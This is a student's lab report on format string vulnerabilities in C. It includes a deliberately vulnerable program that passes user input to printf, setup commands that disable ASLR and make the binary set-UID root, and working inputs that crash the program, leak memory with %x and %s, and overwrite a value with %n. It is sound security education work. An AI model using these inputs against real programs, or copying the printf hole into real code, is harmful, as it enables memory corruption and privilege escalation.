CS 392

Mid Semester

Name: P. V. Sriram

Roll No. 1801CS37

Format String Vulnerability

Format String vulnerability is a vulnerability which occurs when the submitted data of an input string is evaluated as a command by the application. They are a family of bug that take advantage of an easily avoidable programmer error.

It occurs due to the behavior of the format format string functions such as printf, sprint, fprintf etc. These functions are dynamic with respect to the number of arguments they take in. If the programmer passes an attacker-controlled buffer as an argument to a format string function, the attacker can perform writes to arbitrary memory addresses.

The following code contains such a vulnerability

Vul.c

```c
// vul_prog.c

#include<stdio.h>
#include<stdlib.h>

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
    char user_input[100];
    int *secret;
    long unsigned int_input;
    int a, b, c, d; /* other variables, not used here.*/

    /* The secret value is stored on the heap */
    secret = (int *) malloc(2*sizeof(int));
    /* getting the secret */
    secret[0] = SECRET1; secret[1] = SECRET2;
    printf("The variable secret's address is 0x%8x\n",
    (unsigned int)&secret);

    printf("The variable secret's value is 0x%8x\n",
    (unsigned int)secret);

    printf("secret[0]'s address is 0x%8x\n",
    (unsigned int)&secret[0]);

    printf("secret[1]'s address is 0x%8x \n",
    (unsigned int)&secret[1]);

    printf("Please enter a decimal integer\n");
    scanf("%lu", &int_input);  /* getting an input from user */

    printf("Please enter a string\n");
    scanf("%s", user_input); /* getting a string from user */

    /* Vulnerable place */
    printf(user_input);
    printf("\n");
    /* Verify whether your attack is successful */
    printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
    printf("The new secrets:      0x%x -- 0x%x\n", secret[0], secret[1]);
    return 0;
}
```

Initial Setup

Address randomization

For the code to function properly, the attacker should have the location of the return address, or the location of the sensitive data within the memory. Naturally, if we try and randomize the address space every time then the work of the attacker would naturally

become hard. Although this is not a permanent solution, it would surely slow down the attacker who might resort to brute force.

But for the purpose of this experiment, we shall turn the address randomization off using the following command.

Command: sudo sysctl -w kernel.randomize_va_space=0

Compilation

We use the following command to compile the vul.c program.

Command: gcc -Wformat=0 -z execstack vul.c -o vul

We use Wformat=0 to ignore the warnings which indicate the mismatch of printf format specifiers and arguments numbers.

We disable the non executable stack in order to avoid segmentation faults caused by some addresses.

After performing this operation, we get an executable named “vul”. We use this to perform the attack later on.

Set-UID

We can also change the permissions of the executable and make it a Set-Uid. This would be relevant when we try and access the root shell through the vulnerability.

Change ownership

Command: sudo chown root vul

Set-UID Bit

Command: sudo chmod 4755 vul

Setup

```
[02/23/21]seed@VM:~/.../Mid sem$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[02/23/21]seed@VM:~/.../Mid sem$ gcc -Wformat=0 -z execstack vul.c -o vul
[02/23/21]seed@VM:~/.../Mid sem$ sudo chown root vul
[02/23/21]seed@VM:~/.../Mid sem$ sudo chmod 4755 vul
[02/23/21]seed@VM:~/.../Mid sem$
```

Performing the attack

We can now experiment with the vulnerability, by performing the following tasks.

(i) Crash the program.
(ii) Print out the secret[1] value.
(iii) Modify the secret[1] value.
(iv) Modify the secret[1] value to a pre-determined value (choose any number between 80-100).

Crash the Program

Vul.c program is vulnerable in the way that the format string required for the printf() is taken directly from the user. Therefore, depending on the strings we provide, the behavior might change.

For instance, to crash the program, we can use %s format indicators. Due to it's property it would try and print values stored in addresses pointed by the argument. So if there is a non-existent address in the va arg location, it would result in a segmentation fault.

We can use this property here and write %s multiple times and fortunately we might encounter an out of bound address which might result in a segmentation fault.

In my case, I used %s_%s_%s (three times) and the program crashed

Input: %s_%s_%s

```
[02/23/21]seed@VM:~/.../Mid sem$ ./vul
The variable secret's address is 0xbfffed50
The variable secret's value is 0x 804b008
secret[0]'s address is 0x 804b008
secret[1]'s address is 0x 804b00c
Please enter a decimal integer
1
Please enter a string
%s_%s_%s
Segmentation fault
```

Print the Secret [1] value

We can also use this vulnerability to access the encoded variables. For example, if we have a non-readable executable file, we can use this vulnerability to find the values of the variables within the function.

For instance, we can use the "%x" format indicators to perform this operation. By repeatedly using the %x operator, we can view the contents by iteratively moving va arg upward by 4 bytes in the stack until we eventually reach the location of the variable where %x would print the contents.

Naturally, we need to have an idea of the address of the variables to understand the number of %x we have to use. If we somehow get the address of the variable we want to view and pass it as an input to vul.c then we can access the address and therefore it's contents.

Fortunately, this step is already performed by the code,

We can see that address of secret[0] is 0x804b008 and that of secret[1] is 0x804b00c.

This is intuitive as the addresses are sequential in the dynamic array.

We can now use 134524940 (Decimal value of 0x804b00c) as the int_input and store in the stack. Now we can simply use %x repeatedly until we encounter this address.

In my case I could access &stack[0] and &int_input at 8^{th} and 9^{th} locations respectively.

Input: %x_%x_%x_%x_%x_%x_%x_%x_%x_%x

```
[02/23/21]seed@VM:~/.../Mid sem$ ./vul
The variable secret's address is 0xbfffed50
The variable secret's value is 0x 804b008
secret[0]'s address is 0x 804b008
secret[1]'s address is 0x 804b00c
Please enter a decimal integer
134524940
Please enter a string
%x_%x_%x_%x_%x_%x_%x_%x_%x_%x
bfffed58_b7fff918_f0b5ff_bfffed7e_1_c2_bfffee74_804b008_804b00c_255f7825
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
```

We can replace the %x at those locations to %s to get their contents.

Input: *%x_%x_%x_%x_%x_%x_%x_%s_%s*

```
[02/23/21]seed@VM:~/.../Mid sem$ ./vul
The variable secret's address is 0xbfffed50
The variable secret's value is 0x 804b008
secret[0]'s address is 0x 804b008
secret[1]'s address is 0x 804b00c
Please enter a decimal integer
134524940
Please enter a string
%x_%x_%x_%x_%x_%x_%x_%s_%s
bfffed58_b7fff918_f0b5ff_bfffed7e_1_c2_bfffee74_D_U
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
```

Hence, we can see that the contents of secret [0] is D (ASCII of 68, 0x44 in hex) secret [1] is U (ASCII of 85, 0x55 in hex).

Modify the Secret [1] value

From the above section, we have seen how to view and access the secret dynamic array variable. In this section, we shall use format indicators to modify the values in those addresses.

In particular, we shall use the "%n" indicator for this task. Due to its property, we will be able to overwrite the contents of location pointed by the va arg to the number of characters printed up until now.

Previously we were able to access the secret [1] value by using %x (to move to correct location) and %s (To print contents of the pointer). We can replace %s with %n and this would modify the contents of secret [1].

For example, in my case I had to print 50 characters until I reached int_input. Therefore, I can modify the value of secret [1] to 50 (0x32) as indicated by the following picture.

Input: %x_%x_%x_%x_%x_%x_%x_%s_%n

```
[02/23/21]seed@VM:~/.../Mid sem$ ./vul
The variable secret's address is 0xbfffed50
The variable secret's value is 0x 804b008
secret[0]'s address is 0x 804b008
secret[1]'s address is 0x 804b00c
Please enter a decimal integer
134524940
Please enter a string
%x_%x_%x_%x_%x_%x_%x_%s_%n
bfffed58_b7fff918_f0b5ff_bfffed7e_1_c2_bfffee74_D_
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x32
```

Modify the secret [1] value to a pre-determined value

Previously we saw that we are able to modify the contents of variables using the format indicators. Although we were limited by the choice of numbers to change it to. Although, now we can alter the number of characters we print through the indicator "%.mx" which pads the contents with zeros until m numbers are reached.

This is a useful indicator as we can use it to alter the number of characters printed. For example, we can add 42 more characters to the 50 already printed.

0x32 + 0x2a = 0x5c (92 in decimal).

Input: %x_%x_%x_%x_%x_%x_%.50x_%s_%n

```
[02/23/21]seed@VM:~/.../Mid sem$ ./vul
The variable secret's address is 0xbfffed50
The variable secret's value is 0x 804b008
secret[0]'s address is 0x 804b008
secret[1]'s address is 0x 804b00c
Please enter a decimal integer
134524940
Please enter a string
%x_%x_%x_%x_%x_%x_%.50x_%s_%n
bfffed58_b7fff918_f0b5ff_bfffed7e_1_c2_00000000000000000000000000000000000000000000
0bfffee74_D_
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x5c
```

Observations

(i) Through this experiment I was able to understand the basic structure of a stack frame. Since we have utilized multiple variables, I was able to use %x indicators to see how they are organized physically on the stack

(ii) I was also able to understand exactly how a dynamic memory allocation works. I can see that the local variable points to a location in stack and was able to understand the structure.

(iii) I was also able to understand the functionalities of individual format indicators like %x, %s, %.mx etc.

(iv) Understood that %x prints the hexadecimal representation of value, while %s prints the contents of location indicated by value and %.mx pads the string.